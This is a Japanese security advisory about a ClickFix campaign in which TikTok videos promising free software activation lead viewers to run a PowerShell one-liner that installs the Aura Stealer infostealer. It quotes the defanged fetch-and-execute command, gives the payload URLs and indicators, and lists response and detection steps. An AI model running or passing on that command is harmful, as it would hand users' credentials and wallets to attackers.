サイバー犯罪者が、WindowsやMicrosoft 365、Adobe Premiere・Photoshop、CapCut Pro、Discord Nitroの無料アクティベーションをうたうTikTok 動画を使い、情報窃取型マルウェア(インフォスティーラー)を拡散しています。
ISC HandlerのXavier Mertens氏が継続中のキャンペーンを確認しており、2025年5月にトレンドマイクロがTikTokで観測した手口と同種のサイバー攻撃が続いています。
目次
手口:PowerShellの一行コマンドを実行させる
動画は「管理者としてPowerShellで次の一行を実行」と促します。表示される例は以下のような形式で、偽装しているソフト名に合わせて末尾が変わります。
動画は正規製品の有効化(アクティベーション)を装うほか、NetflixやSpotify Premiumといった架空の無料化手順にも言及します。視聴者が簡単な修正や裏技だと誤認し、コマンドをコピー&ペーストしてしまう点が狙いです。
動画での悪意のある動作誘導はプラットフォーマーからも検知され辛く、自然にユーザーを誘導できるため今後も流行する手口となっています。

このコマンドを実行すると、PowerShellが slmgr[.]win に接続して追加スクリプトを取得・実行します。
続いてCloudflare Pages上のホストから2つの実行ファイルをダウンロードします。
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https://file-epq[.]pages[.]dev/updater.exe… Aura Stealer の亜種 -
source.exe… .NETのVisual C# Compiler(csc.exe)で自己コンパイルしたコードをメモリ内で起動(目的は不明)
インフォステーラーがダウンロードされる
Aura Stealerは、以下のようなデータを収集して攻撃者に送信します。
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ブラウザに保存されたID・パスワード
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認証クッキー
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暗号資産ウォレット情報
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各種アプリケーションの資格情報 など
これにより、各種オンラインアカウントへの不正アクセスや資産窃取のリスクが生じます。
ClickFixとは
ClickFixとは、2024年に確認された新しいタイプのソーシャルエンジニアリング攻撃です。
名称は、ユーザーのクリック(Click)操作と、システムの不具合を修正(Fix)するという口実を組み合わせた初期の手口に由来します。
この攻撃の最大の特徴は、フィッシングサイトへ誘導し、被害者自身に悪意のあるコマンドを実行させる点にあります。一般的に、ユーザーのコマンド実行はセキュリティソフトやEDRをすり抜ける為、マルウェアがダウンロードされてもすぐに検知する事ができません。
影響を受けた可能性がある場合の初動
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すべての認証情報が侵害された前提で対応し、利用するサービスのパスワードを即時に変更する
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可能なサービスでは多要素認証(MFA)を有効化(フィッシング耐性方式を推奨)
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端末をフルスキャンし、挙動が不審な場合は再インストールも検討
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重要なセッション(Webメール、クラウド管理コンソール等)は強制ログアウトし、再ログイン時にパスワード・MFAを更新
企業向けの緩和策(運用でできる対処)
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EDR/AVやPowerShellロギングで
iexとInvoke-RestMethod (irm)の連携実行を検知・制限 -
DNS/プロキシで
slmgr[.]win、*.pages[.]devからの実行ファイル取得に警戒(正規用途との誤検知に留意して監視・審査) -
メール・チャットで共有されるコマンドのコピー&ペーストを禁じるポリシーと教育を徹底
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.NET csc.exeの不審呼び出しやメモリ内実行を振る舞い検知の条件に追加
IOC/注意すべき文字列(例)
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ドメイン:
slmgr[.]win -
ダウンロード先:
file-epq[.]pages[.]dev/updater.exe、source.exe -
コマンド例:
iex (irm slmgr[.]win/<製品名>) -
典型的TTP:PowerShell経由のスクリプト取得→実行ファイル2本の取得→Aura Stealer実行/
csc.exeでの自己コンパイルとメモリ注入
出典
TikTok videos continue to push infostealers in ClickFix attacks







